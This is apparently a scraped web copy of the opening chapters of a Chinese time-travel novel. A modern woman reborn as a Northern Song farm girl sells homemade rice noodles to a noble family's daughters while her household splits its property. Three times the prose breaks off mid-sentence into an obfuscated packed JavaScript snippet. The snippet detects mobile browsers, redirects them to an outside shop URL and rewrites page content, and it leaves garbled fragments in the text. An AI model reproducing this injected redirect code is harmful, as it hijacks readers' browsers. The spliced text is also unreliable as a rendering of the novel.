《北宋姜姑娘的摆摊日常》 1. 第一章 庄户 四月的太阳不及夏日毒辣，可这样顶着太阳捡麦穗还是让人难受。没错，姜然现蹲在地里捡麦穗。 前几天她还坐在办公室，点了杯咖啡配着自己做的点心吃，悠哉惬意，如今竟然穿到这个地方，她抬头看去，入目的土地极为宽阔，到处是深褐色的良田。地上偶有几条金色，是落下的麦穗。 姜然挪着脚步，又捡了一根，她穿越有几日，终于接受穿到另一个世界的事实。 据这几日的了解，姜家是庄户，她生在姜家三房，原身十三岁，上头爹娘一对，还有个兄长。 她刚穿越过来，就跟着全家收麦子，这个时代就已经讲麦稻两熟了，每年四月份收冬小麦，收一茬之后，再翻地种稻子，秋季收获。 不过幸好女儿家不必干太重的活，姜然和几个姐妹就负责做好饭给全家送去。但做饭也辛苦，姜家人多，上头祖父祖母，下头总共五房，共二十五口。人多男人也多，她数不上来的兄长弟弟有八个，不然很难操持这么多地。 姜然又捡了根麦穗，视线落到身边两个小娘子身上，二人一高一矮，高一些的穿着宽袖衣裙，戴着帷帽，手上挎着漂亮的小篮子，矮一点的没戴帏帷帽，捡到麦穗儿就笑，好似发现新大陆。 二人身旁还跟着几个穿着打扮一样的丫鬟，身上带着扇子水壶吃食等物，小心服侍，还有个侍女趁二人不注意捡了麦穗撒在她们前面，以免一无所获。 这二位小娘子就是姜家看的庄子雇主永宁侯府的姑娘们，一个是四姑娘，一个是六姑娘。这回来了三个，还有个五姑娘不喜这等事，坐在屋里看书喝茶。 姜然忍不住感叹一句，都穿越了，老天爷为何不让她穿成命好点的人，若她穿成侯府小娘子，现在肯定也坐在屋里喝茶，而不是出来顶着太阳捡麦穗。 至于为何她也跟出来，那是因为姜家尽管不是侯府的下人，和侯府只是雇和被雇的关系，但姜家在侯府做事，府上姑娘来了，可以幻视集团皇太女和太子爷下来巡查，自然要将这些人招待好。 姜家为此还收拾了最好的几间屋子，就留着侯府姑娘少爷过来小住。里面放着上好的锦被，还得时常过去打扫。 二人是带了丫鬟，可万一在庄子磕了碰了迷路了怎么办？所以得让人陪着。 二人一人带了两个丫鬟，姜然就没往那头凑，一直保持着不远不近的距离。看她们二人捡得差不多了，带去了一处麦穗不是很多的地方，这又捡了几根，四姑娘道：“我看许多了，我们回去吧，这回回去给祖母看看，让丫鬟给舀了，是不是就成米饭了？” 四姑娘年岁看起来和姜然差不多，六姑娘则小些，惊诧道：“米饭？！分明是面。稻子脱壳才变成米饭呢，四姐姐怎么米面都分不清。” 六姑娘说完大笑，四姑娘看着篮子里的麦穗，一张秀气的脸慢慢涨红，她指着姜然道：“你说，你来说磨完是什么？” 姜然无错愕，二人争辩关她什么事？难道问丫鬟有失偏颇，所以才问她？又或是觉得她是庄子的姑娘，懂这些？ 姜然还真懂，后世的日子车水马龙节奏快，她就自己做各种各样的吃食犒劳自己。 她挤出个笑，道：“四姑娘说的是做成麦米吃吧，青一些的麦子做成麦米蒸着也好吃。自然，稻米也可以磨成粉，做米粉，米粉面条，形状都差不多的。” 四姑娘没听太明白，但是准确稳踩台阶下来，下巴点点，“没错，我说得就是这个意思。” 六姑娘不置可否，想了一会儿问姜然：“你能把米做成面条？” 姜然不知这位六姑娘发问是何意思，是想要追根究底，还是怎样。 不过她没胡说，便点了点头。 六姑娘眼睛水汪汪的，问道：“那你能否做出来给我吃？” 姜家并非下人，侯府众人都知道。这个庄子较大，是永宁侯府公中的庄子，不能像对待下人一样对待他们。 六姑娘道：“我自不会白让你做，你若能做出来，我给你银子。” 姜然有些意动，钱她可太缺了，姜家种侯府的地，每年地租五成，算是较为沉重的。她还算过，每年地里收成一亩约是三石，刨去租金和家里吃饭，粮食也就剩下一小半，剩下的差不多能卖一百二十贯钱。 看着是不少，一年一百多贯，可是想想姜家这么多人，平均到每人还能剩多少。 再加上如今尚未分家，一碗水是端不平的，姜老爷子和姜然祖母刘氏自然也偏心。二人住着三间敞亮的砖房，姜然的五叔尚未成亲，跟二老住在一块儿。 旁边的五间房是姜然大伯的，他家人最多。后头又有几间住着二伯和四叔，姜家还有两个读书人，一个五叔一个大哥，要留出一部分供二人读书，刘氏总说二人是家里的指望，等日后飞黄腾达，他们有享不尽的荣华富贵。 然后再按人头分钱，不管干多干少，都按人头分。还要多分出来两份，留着孝敬老人。 大房人最多，八口人分得也最多。二房四房人也不少，这么算下来，反倒是他家分得最少。 可姜然她爹是老实肯干的性子，大哥一脉相承，她家干活干得并不少，总而言之，她家吃亏。 家里一年就落下几贯钱，还得抛去穿衣等花销，剩得更少了。 大鱼吃小鱼，小鱼吃虾米，姜然处于食物链最底层，到她手里就几个铜板。 姜然眼睛慢慢亮起，六姑娘不经意地发现姜然晒得有些黑的脸其实很好看，眼睛大睫毛长，尖下巴，鼻尖挺拔俏丽，嘴巴也小巧。 只是黑些，可仪态不错，黑也不难看。 一旁四姑娘哼了一声，过来拉姜然的手，“跟你说话我高兴，素月，赏。” 四妹给了她不给，未免显得她太小气。 姜然点头，“多谢四姑娘，六姑娘的事我也答应，姑娘们何时走。” 六姑娘：“我们打算明日下午回侯府。” 庄子到侯府，去坐马车得半个时辰。 姜然道：“那我下午做出来，晚上给你送去可好？” 六姑娘：“好，面条我就喜欢吃，米粉还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066756|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝过，你想怎么做？” 姜然：“煮一碗拌一碗？” 六姑娘笑了，露出两个酒窝，“好。” 四姑娘板着脸，“给我也来一碗。” 姜然点点头，这便带着二人走回去。其实也没有捡太久，可是回去的时候发现庄子已经缩成个小点了。二人一派无忧无虑，走几步就笑着打闹，偶尔扑蝴蝶，不时被田间的蟋蟀吓了一跳。 还会指着田埂间一颗绿油油的小草问姜然，那是不是野菜，可能吃？ 这个姜然还真不知道，她以后生活的城市都是钢筋水泥，她不认得野菜。 姜然：“这个等我回去问问我娘就知道了。” 六姑娘：“若是，那明儿上午挖野菜来好了。” 四姑娘：“还要出来，你怎么不学学你五姐，吃茶赏景，就你非往外面跑。” 六姑娘在地里蹦蹦跳跳，“吃茶在哪儿吃不成，都出来了，自然要出来玩的。野菜饺子肯定好吃，还有上回来吃得香椿尖，多好吃呀。” 俩人兴致勃勃，姜然则摸着四姑娘身边丫鬟给她的荷包，这里应该是银子，好像是颗银花生，这个有多重？ 来不及多想，前面人就走远了，姜然赶紧跟上去。 过了两刻钟终于走回庄子，姜然只负责带二人出去，把二人平安带回来，其余的一概不管。 现在刚收过麦子，家里人闲下来了，暂且用不着她做饭。 但也有的忙，麦子要晒干，还要脱粒，再称重交租子，剩下的才是他们自己的。 正午时分，女人在屋里做饭，男人在庄户前头的大片空地上晒麦子，要边晒边翻，得注意这会儿的天气，要是来了乌云，得把地上的麦子收起来。 二百多亩地，麦子可不少呢。 姜然回了家中，拿银子的事提都没提。 尚未分家，家产都是老人做主，她交上去，没准儿钱还被她娘交上去。 姜然进屋，“爹和大哥呢，还没回来？” 姜母云氏道：“在庄头晒麦子呢，你先吃，我给他俩送饭去。” 晒了两天麦子，他们每回都是赶到中午去，让别人回家吃饭。姜然抿了下唇，对着姜母道：“六姑娘想吃新鲜吃食，等下午我用米做一些，用下磨盘。” 米粉嘛，先得把米磨成粉，家里有磨盘，她自己弄就是。 云氏老实憨厚的面庞浮起一丝疑惑，又点点头，“嗯。” 家里有米面，姜然觉得日子还算不错，可是上头一层又一层就跟山似的压着，不见天日让人难以喘息。 云氏装好饭打算出门，临了又回头，“对了，你祖母说姑娘们再出门，让你二姐跟着去，你老实不会说话，怕你伺候不好，再给咱们家招了祸事。” 姜家人多，姜然上面有三个姐姐，长姐已经嫁人了，二姐今年十五岁。 她其实也不想伺候人啊，可是…… 姜然指出来，“……二姐这几日都跟在五姑娘身边，就是因为这个四姑娘六姑娘出门才叫我跟着的。” 2. 第二章 当丫鬟 今日是侯府小姐过来的第三日，这三日，她二姐日日都在五姑娘身边，帮着端茶倒水，帮着收拾屋子，连做菜做饭都亲力亲为。 这哪还用得着祖母叮嘱。 云氏：“那你三姐呢？” 三姐是二房的，姜然实话实说：“三姐这些日子，总往马厩那跑。” 这个姜然亲眼所见。 云氏神色木然，“她们让你做什么你就做什么。” 说完，没再管姜然，挎着篮子出门了。 姜然拿出碗筷坐下吃饭，炒菜米饭，味道算不上难吃，也绝对算不上多好吃。她也才穿过来十几日，便是前阵子给一大家子做饭，也就是学云氏的做法，背地先精通烧火控火，若做得太好吃，岂不是招人怀疑。 现在有了明路子，姜然也想吃好吃的，日子太苦，以前当牛马苦，现在更苦，她最不愿意亏待的就是自己的嘴，飞快吃完把碗刷了，云氏还没回来。 她去厨房舀了些米，又把院子里的石磨擦洗干净，等晒干之后磨粉。 石磨磨出来的粉质不够细腻，姜然就来回多试几次再过筛。这般磨出来的粉，比面粉更晶莹透亮。 磨好粉姜然开始调米浆，光是米粉不够，里面还放了些淀粉，小块猪油，少许盐，为的是增加口感。 这个会儿漏勺就派上大用处了，锅里烧开水，把米浆舀到漏勺上去，慢慢往下漏。一条条细长晶莹的粉条便滑入锅中，被热水稍一定型就成了。 姜然尝了尝口感，顺滑弹牙，要是配上好浇头，那得多好吃。 她把几根粉条捞出来，她就是为了试试能不能成，也是按照以前的步骤做的，看能成，就把米浆留着，先做浇头，这样才能保留最好的口感。 汤粉姜然打算做酸辣肉末浇头，切肉末用猪油炒香，放醋和茱萸，高汤来不及现做，她找了干香菇虾米干儿，虾米干是大的，颜色橙红，包在油纸包里，也不多，不像姜家能有的，没准儿是侯府过节送来的节礼。 洗干净用热水一煮也有鲜味儿，再把炒好的肉末倒进去。 米粉白水煮，碗底一勺猪油，少许盐和酱油调味，白花花的米粉盛入碗中，再舀上一勺汤，闻着就香。 而拌粉就简单了，一勺猪油，一点酱油，拌匀后她飞快吃了碗，哪儿有厨子不偷吃的。 每碗上面再放些小青菜，不等晚上，姜然就给六姑娘送了去，连带着四姑娘那份。 六姑娘没想到这么快，不过还好，她惦记晚上的米粉，中午没吃多。一人两碗，姜然放下米粉没走，钱还没拿，走什么走。 六姑娘笑了笑，唤来丫鬟，“给姜姑娘拿钱。” 丫鬟给姜然拿来一个荷包，跟上午拿的份量差不多。这给侯府干活，给的钱是多，难怪二姐总在五姑娘身边打转，谁不喜欢钱呢？ 姜然告辞不影响二人用饭，六姑娘在屋里，看着面前的两碗粉，碗筷就是姜家的，模样粗糙，她不喜欢，可闻着却很不错。 雪白的米粉被酱汁染上的酱色，她拿起筷子夹了一口，米粉直接顺着筷子滑下去。其实京城关于米的吃食有许多，米糕、凉糕……六姑娘都很爱吃。唯独这个没听过，也没见过。 她这回用了些力，把粉夹到嘴里，顺滑爽弹。 舌尖先是酸辣，后面能尝出汤底的鲜来，六姑娘舌头叼，她觉得这粉好吃，那是真好吃。 她不禁又尝了口猪油拌粉，这个有些粗犷，没另一碗好看，可吃着却是好味道，香得纯粹，即便吃了中午饭，她还是把这两碗粉吃完了。 汤粉留了半碗汤，拌粉只剩浅浅的一个褐色碗底，里面点缀些许葱花。 好生舒服。 六姑娘再看四姑娘，四姑娘的也吃完了，正靠在椅背上，神色懒散，好似只慵懒的猫。 四姑娘见她看过来颇为得意，“若非我，你这可是吃不成的。” 六姑娘纠正道：“若非姜姑娘，才是吃不成。” 四姑娘抿了抿唇，“你说得也有理，可惜晚上吃不成了，我还想吃。” 六姑娘道：“在这儿想吃还不好说，给银子，让她再做就是，可惜回府之后就吃不上了。” 她们半个多月来庄子小住，平日不能时常过来。 四姑娘闻言笑笑，漫不经心道：“那还不好说，把人带走就好了。” 六姑娘的杏眼瞪圆，一张圆乎乎的小脸写着不可置信，“这怕不好，外面的人带回府里，就为了吃两顿拌粉，如果被长辈知道，少不了责骂。” 四姑娘话赶话道：“那你弄得名正言顺不就行了，带回府里，问她愿不愿意做丫鬟，日后还愁没有这些吃的。” 六姑娘忙摆手“这可不成，四姐姐万万不能说了，人家好生生的姑娘，何必卖身做丫鬟呢？” 四姑娘不太在意，反驳道：“又不是没有，你看你五姐身边那个，成日围着，不就是这个意思吗？” 谈到这个，二人都沉默不语，不知该说些什么。 四姑娘今年十四，六姑娘小一岁，五姑娘和六姑娘同岁，生辰大几个月。 姜家二姑娘看着十五六岁，比三人年长，可三人在侯府耳濡目染，姜家二姑娘想做什么只需一眼就能看出。 她是看侯府日子好，想卖身为奴去侯府姑娘身边伺候。 为奴规矩多，侯府有家生子，也有买来的，刚进府的哪个不是身世可怜走投无路，还未曾见过好人家的女儿想要卖身为奴的。 是了，侯府的日子好，庄户是万万比不上的，混成姑娘身边的大丫鬟，也颇有脸面。 六姑娘道：“她是那个意思，但姜姑娘未必是那个意思。还是在这的时候，多吃几碗。” 就是给银子让二人有些肉疼，一个月月钱十两，今儿就给了二钱出去，可是侯府的姑娘出手总不能几文几十文，那样未免显得太过小气。幸好明天就走了，再吃也花不了多少钱了。 二人决定晚上先不吃了，明早吃一顿。 六姑娘吩咐丫鬟：“你看看姜姑娘走了没，你把碗刷了还回去，再告诉她明早还送这个过来。” 出门吃一顿还得一两多银子呢，她和四姐姐拼着吃，两碗粉一人也就一钱，很合算。毕竟千金难买她愿意，如果是不好吃，她也不会花这个钱。 丫鬟出去了。 姜然还没走，她想等等反馈。 丫鬟把碗筷洗好，连着托盘一并还给姜然，又把银子给了，言明明早还送。 姜然把荷包收下，“我明儿一早就送来，对了，地上的不是野菜，我娘说现在已经过了吃野菜的时节。” 她煮粉的时候问的。 丫鬟点点头，姜然见没别的事就回了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066757|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她走后，姜杏从五姑娘屋里出来。 屋里丫鬟说五姑娘要小憩，姜杏还没反应过来，丫鬟直言，“姑娘要睡了，姜姑娘回吧。” 她这才出来。 给侯府姑娘准备的屋子在一处，姜杏刚看见六姑娘身边的丫鬟跟着姜然说话，不过塞钱没看着，二人背对着她，她就看见丫鬟的脑袋了。 她不免有些泄气，跟在五姑娘身边这么久，五姑娘一直冷冷淡淡的。可不是这几日，从前五姑娘过来的时候，姜杏便总过来献殷勤。 侯府姑娘们来庄子，都是坐马车。带着各种各样的东西，布置屋子，衣食住行都是极好的。就连丫鬟也衣着体面，听说每月都有月钱。 姜杏这身衣裳早就旧了，可是大哥要读书，她这处处省着。 做丫鬟都比作姜家的女儿强。 姜杏选五姑娘可不是胡乱选的，她观察过侯府的几个姑娘，四姑娘性子刁蛮，做她丫鬟讨不着好。六姑娘贪吃，什么都不懂。 唯独五姑娘，醉心诗书，学问看着比兄长还高，衣着打扮也比旁的姑娘好，她对侯府不太了解，但从这些能看出五姑娘还是较为受宠的。 既然想做丫鬟，那自然选个有前程的主子。 这事家里也知道，姜杏稍微劝劝就能成事。侯府日子好，再加一说赚了钱，帮衬兄长读书，帮衬家中，就没有一个不答应的。 就是姜然怎么在这儿？上午她跟四姑娘六姑娘出门捡麦穗，这都中午了，怎么还在。 姜杏肚子有些饿，心里愈加烦躁。姜然平日不显山不露水，现在非要往姑娘面前凑。若这种好事被姜然截了，她这气可咽不顺。 姜杏觉得有些委屈，她今年十五，这事再不成，她就得说亲了。大姐嫁去了京城，姐夫就是那个小账房，一年到头也没啥钱。 她不想这样。 姜杏鼻子一酸，捂着脸跑回家。在家里哭了半天，连午饭都没吃。 姜杏还去祖母刘氏那儿哭，“祖母，我这也是为了给大哥挣前程，如果能在五姑娘身边得青眼，平日赏我什么东西，家里不就省钱了吗？我是为了家里，姜然这个时候往姑娘面前凑什么凑，她那性子，得罪人了都不知道，若招来祸事，得连累咱们一家。祖母！你就帮帮我呗，不然给五姑娘身边嬷嬷送些好处去，让我先进侯府才是正事。” 刘氏一头半白的头发，三白眼，看着有些凶。 在家里她最偏心的就是长房还有小儿子，姜杏这个孙女儿对她来说比姜然亲，孙女受委屈，她是坐不住，况且她也希望姜杏进侯府好帮衬家里。 庄户不是奴仆，虽然种着侯府的地，可种地一年到头也就拿那么多钱，她听侯府的人说，体面一些的大丫鬟，一个月有二两银子的月钱，一年就是二十四两。 再加上平日赏钱，那岂不是比男人种一年地赚得多。 刘氏：“别哭了。” * 阳光很晒，回到家中，姜然把钱藏好，她还称了，现在有六钱。 但是这钱没过明面，肯定是不能叫人知道的。她又吃了碗煮粉，吃完舒坦睡了一觉，睡醒，她大伯母就叫姜然和她娘去正房。 云氏问：“什么事啊？” “你去了就知道了。” 云氏看看姜然，姜然也不知道，等去了就知道了。 3. 第三章 分家 云氏心里惶惶，姜然走在前头，三人到了姜家正房。 一路穿过整齐的院子，挑开帘子进了屋，又去东屋，一进门姜然就看见她二姐依偎在祖母刘氏身边，同样是三间房，这间宅子明显比三房好得多，像模像样地摆着家具，二人坐着罗汉床，中间小几上还摆着点心，还竖了屏风，将里外隔绝开来。 云氏不自在地摆弄手指，“娘，你叫我和小然啥事儿啊？” 刘氏“啪”一声拍在小几上，“早就跟你说了，杏儿要去侯府伺候，你还非让姜然往姑娘们面前凑干啥？” 云氏一贯老实，想解释的话噎在喉咙说不出来。 姜然不得不开口，“祖母，四姑娘和六姑娘想要去捡麦穗，那会儿二姐正陪着五姑娘，两位姑娘这才让我去的。” 刘氏听这话，浑浊的眸子看向姜杏，姜杏心虚地别开眼。 姜然半垂着头，刘氏提了口气说道：“你二姐年岁大，人也机灵，这才在几位姑娘面上混个脸熟，你们别看她机灵能干，就想学着。” 云氏张张嘴，“我没……” 姜然身子一晃，学？学什么，学怎么削尖了脑袋往前挤，去侯府小姐面前混脸熟当丫鬟吗？ 她倒不是看不起丫鬟，职业没有高低贵贱，出身也不是谁想决定就能自己决定的。若真的聪慧，去侯府谋个活路，肯定好过在庄子里种地的。 可姜杏今天在刘氏面前上眼药，让刘氏把她们母女二人叫过来敲打，就不是什么聪明人。 她去帮四姑娘六姑娘带路，姜杏不是早就选好了五姑娘吗？姜然只得装傻，“祖母，这个我不知道呀，就是四姑娘六姑娘叫我干啥我才干啥，你以前不总说，切莫把人得罪了。我也不想去，可不敢不去。” 刘氏不喜欢这个孙女，随了云氏嘴笨，她不耐道：“行了行了，还有，杏儿想去侯府当丫鬟，侯府那富贵地方岂是普通人能去的，咱们一家出点钱，塞给五姑娘身边的嬷嬷，之后杏儿在侯府能说得上话，少不了你们的好处。” 姜然装傻的表情都有片刻愣怔，再听怕是要龟裂掉下来了。 塞钱进去当牛马，而且还得签卖身契，真是天才啊。姜然想起前世她妈花了二十万，给她找了个月薪三千的工作。 云氏不愿，可向来她不知道怎么拒绝，愣愣地问：“拿多少啊娘？” 拿多少？？ 姜然深吸了口气，说道：“那可得多拿点儿，我听那些丫鬟说每个月都是有月钱拿的，二姐姐坐到大丫鬟的位置，每个月月钱好几两，咱们家也能沾光，一个月不得给咱们半两银子！娘，咱们家有多少，全拿出来得了。” 姜然大伯母林氏登地脸色一变，姜杏挽住刘氏的手改为按着，“不行！” 姜然故作疑惑：“不是要拿钱吗？” 林氏笑了笑，温声开口，“其实也不是那么缺钱，我和她爹凑凑就行了，杏儿的事，我们自己操心，怎能劳烦三弟弟妹呢？” 姜然：“无妨，都是一家人，有福同享，有难同当嘛。” 姜杏还没去侯府，可林氏刘氏想的却已经是她在五姑娘面前得了脸，做了大丫鬟，每月月钱赏金不断的日子了，这些凭什么便宜三房？ 就因为一开始那一二两的好处？ 林氏：“不必了，杏儿自己的事，怎可劳烦一家子为她操劳。是我想的不妥，这儿在这儿跟弟妹赔个不是。” 云氏嗯了两声，姜然却像没听懂般，“大伯母这么说，心里就是没把我们当一家人。便是不用我娘出银子，那日后大姐姐得了体面，还能少得了我们三房的好处，娘，你说是吧？” 林氏想，若是三房能干，自然要扒上去。但这么多年了，云氏和姜传力老实，平日收秋种地，那也就多干一点，作何还要分给他们钱，这一家没什么本事，也不机灵，日后是仰仗不上的。 姜杏越听越着急，按住刘氏的手改为抓着，姜然那般蠢笨，凭什么她赚的银子要分给她呢？她才不干。 就怕等日后她回庄子，穿的肯定比现在好，便是说没得到好处，也不会有人信的。她还想买衣裳，买胭脂水粉，买首饰，哪里还有闲钱给别人。 刘氏开了口，“说不用就不用，行了，你们回吧。” 姜然转身出屋，这么下去，怕是得分家了。她正愁不分家呢，回到家中，姜传力和姜然大哥已经回来了。 晒了一中午，云氏给二人倒了两杯凉水。 云氏说起刚才在正房发生的事，姜传力沉默不言。 姜然大哥姜松愤愤道：“平日干得最多，分得最少，现在二妹有了好前程，就恨不得把咱们撇掉。” 姜松咽不下这口气。 姜然诧异地看了姜松一眼，云氏和姜传力性子老实，这么多年，一直被姜家二老Pua，人都麻木了。 她在正房，看云氏听那些话面上都没什么起伏，刘氏说什么她就做什么。 姜松在这种环境下长大，看起来好像还没被腌入味。 姜然也道：“凭啥这个时候把咱们踹开？” 姜传力道：“别瞎说，你祖父祖母不是那样的人。” 姜松猛地看向姜传力，他不是眼红好处，若他是那样的人，就不会跟着干这么多活了。 姜松握着拳头，“种地收粮，我一个人干的能顶他们两个，回回晒麦子稻谷，中午最热的时候都是我们去，别人回家吃完饭睡一觉才出来。还有读书，五叔和大哥功课没我好，却不让我读，供了他们数十年。” 姜松眼眶微红，云氏张张嘴，想说什么，最终把头低下去。姜传力端起碗，把凉水灌下肚。 姜松眼底猩红：“你们又不说话。” 难回答的问题，就不说了呗。 姜然瞥了眼姜松，眼前的少年皮肤是小麦色，眉眼端正称得上俊郎，她可怜巴巴的喊了声哥。 姜松已是失望至极，“大伯伯母婶娘都是为儿女谋划，你们不为我和姜然打算，也别拉着我们两个去受委屈。” 姜杏要去侯府当差，要不是大房反悔，怕日后他们粘上，止住了这个念头，三房还得掏银子。 云氏和姜传力默不作声。 姜然甚至生出了个念头，这样挺好，有些人在外老老实实唯唯诺诺，在家大摇大摆重拳出击。 云氏二人在哪儿都老实。 江然看向姜松，“哥，如果真把咱们踹开分家了怎么办？” 云氏和姜传力神色动了动，姜松道：“哥能种地，分了正好。” 分家这事比姜然想的来得还快，她以前看小说，不扯个十天半月没完。 不争气也有不争气的好处，在姜家，短短一个晚上，家就分好了。 三房一向没什么话语权，傍晚时分，刘氏把这一大家子人叫着，说了分家的事。 刘氏和众人道：“以后我们跟着老大家，养老不用你们操心，传宝还未娶亲，也不分。你们三房，家产就按人头分，每年都分钱，我这也没多少，家里就还有三十两银子。我拿出十两，二房四房人多，分四两，三房三两，剩下的就算大房还有我和你爹的养老钱。虽然分家了，以后还是一家人，别生分了，早该分，也都长大了，以后有啥事，自己学着拿主意。” 姜老爷子也是这个意思，“都是一家兄弟，当守望互助，别失了和气。这回地里的麦子没晒干，等晒干了再分，以后家里的地分开包着，你们看能种多少就包多少，粮食自己弄，也不混着了。” 以前要一块儿，是因为三房能干，家里两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066758|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个读书人，不种地干活，却是分钱的。舍了些好处，就是怕另外三房不乐意。 姜松攥紧拳头，说道：“分吧。” 姜老爷子诧异地看了眼三房，疑惑姜传力没说话，反倒是姜松做主了，不过他没多说什么，三房四房没有意见，却神色各异。 签了契书分完家，不过一炷香的时间，分完，姜松带着他三人回去。 云氏夫妇神色恍惚，姜松面上有轻松之色。 姜然佯装难过，去了小屋，家里三间房，她和姜松的屋子用木板隔开的。 躺在床上，她捂脸无声笑起来。 笑了片刻，她就去梳洗了，得早点睡，明早还要给四姑娘六姑娘做米线。 这事她不知道要不要和姜松说，分了家，可她和家里人并不熟悉。万一姜松也像刘氏他们一样呢，赚了钱，到最后还是孝敬给云氏和姜传力了，这个人有待考察。 突然分家，有人忧愁有人欢喜，二房不见愁，分家虽然吃了点亏，可不用再供两个人读书，这么多年，除了每年种地分那么点，家里就攒下三十两银子，可见读书花多少。 分家关上门过自己的日子多好，大房笃定姜杏进侯府前程好，难道二房就不会赚钱？ 姜蓉抬起眼皮子，“分了好啊，早盼着分家了，以前大伯他们不愿意，现在眼瞅着二姐要去侯府当差，嫌我们拖累，终于把咱们这群麻烦包都甩了。” 她话锋一转，“可不也看看二姐什么德性，在五姑娘身边凑了一年，还没成事，想自己塞银子过去。嗤，别人卖身都是赚钱，她塞银子都不见得进得去，她能去，家里猪也能去。” 难不成姜杏以为进侯府当丫鬟，就当主子看重的一等丫鬟？自然是从头做起。光看见跟着姑娘们出府的丫鬟衣着光鲜漂漂亮亮，可侯府那么大，自然有管洒扫的，管做饭的，管洗衣的，管刷恭桶的。 姜家是庄户，给侯府当差，哪有那么大脸面让姜杏做头等丫鬟，进侯府怕是要从头做起，至于能不能爬上去，何时爬上去，那可说不好。 就当她爬上去了，做了一等丫鬟，可万事都系在主子身上，主子嫁得好、日子好，她便好，主子日子差，她也便差了。 等到那个时候，也不知多大年纪，亲事都耽搁了。 做丫鬟的说亲，多是配给府里的小厮，无甚前途。倒不如省却从中的艰辛，一劳永逸，寻个府中能干的管事或是账房先生，既能跟侯府攀上点关系，也省着当丫鬟伺候人，受人白眼。 姜蓉对她爹娘道：“你们不必看着二姐进侯府眼红，日子好不好，以后自会见分晓。我必然会争气，不会叫你们在大伯大伯母面前抬不起头来。” 入夜后，月亮升起，庄子养了不少狗，吠了几声之后落得安静。 天上星子多得好像要溢出来，化作璀璨的银河，从天边倾泻。淡灰色的云丝铺在墨色的苍穹上，随着一夜时光过流逝，星子散去，天边染上赤色。 姜然早早就起了，调米浆，漏米粉。依照昨天的做法做了两碗粉。她想过要不要做些新口味，但思索一二，还是决定算了。 几位姑娘来庄子小住，四姑娘看着脾气大，秉性却不坏，五六姑娘贪吃些，天真可爱，可这只是这几日展现在她面前的性子。 那是侯府，有权势，万一起了兴致问她愿不愿意做丫鬟，那怎么办？ 姜然不想得罪人。 荣华富贵迷人眼，可是稍有不慎就陷进去。 姜然做了早饭便没再出来，等下午侯府姑娘们走的时候，她悄悄出来看了一眼。 一群人往车上搬送东西，庄子的菜蛋活鸡活鸭，姜杏一身杏色衣裳在侯府丫鬟蓝色衣裙中格外显眼。 她背着个小包裹，上了侯府的马车。 4. 第四章 做主 姜杏这是去侯府了，不知道是自己去的，还是大房塞了银子。 这些跟姜然没关系，她没多想，目光落在侯府丫鬟搬运的鸡鸭菜蛋上。 这些是大房他们送过来的。 庄子耕地近三百亩，是整齐划一的，收割前从远处看，地上就像贴了一块块金箔。 可实际上庄子要更大，除了那些地，边边角角还有许零碎地，这些大多没种。 姜然看姜家，她大伯家院子就大一些，养的鸡鸭也多，三房院子小，总共两只鸡，两只鸭。 鸭子白天就去庄子的河沟戏水吃鱼，其实不怎么用喂的。 现在分了家，倒是可以多种些，也不知侯府会不会计较，种这些会不会也像种地一样交租子。 就算交，肯定也有的剩。 据姜然这几日对这个时代了解，京都繁华，商业发达，昨日听五姑娘身边丫鬟说，晚上还有卖吃食的。 她想出去做生意，可本钱不够，京郊离京都也有些距离，每日来回都是个事。 本钱。 这么大地方，不利用上可惜，眼下分了家，各自有各自的前程，便是三房种再多，大约也没人看得上。 都是她的。 姜然嘴角勾起，转身欲走，忽闻为一道声音喊三妹。她循着声音看过去，姜杏笑盈盈地冲她招手。 姜杏跟身边的嬷嬷说了几句话，就朝姜然小跑过来。 姜然：“三姐。” 姜杏：“我要去侯府了，日后就在五姑娘身边做事。我还以为四姑娘和六姑娘会带你回去呢，没事，你若实在想去，我到时给你说说好话。” 姜然换过几次工作，见识过办公室的尔虞我诈，哪能听不出姜杏是跟自己炫耀来的，她装听不懂，“那谢谢二姐了。” 姜杏在心里翻了个白眼，真以为姑娘们身边的丫鬟是人人都能当的。那是府上夫人老爷费劲挑选的，姜然这般蠢笨，还想当丫鬟飞上枝头啊。 她道：“行了，时候不早了，我得走了，下回不知何时回来，估计得五姑娘再来庄子，到时再和你说话。” 到时候她穿着新衣裳，戴着新首饰，和在庄子里的姑娘可不一样。 姜然挥挥手，目送姜杏离开。 侯府东西也收拾好了，刘氏带着几个儿媳送了几步。 走了一群人，但姜家人多，庄子不显空荡荡的。 姜然脚步轻快的地回了家，回家看，姜松正挥舞锄头翻姜家宅子附近的地。 姜然不动声色问：“哥，你干什么呢？” 姜松动作没停，他道：“我把这片地翻出来，种上菜，再多养些鸡鸭，等下回府上来人能卖钱。” 卖钱？那就是不要交租金？ 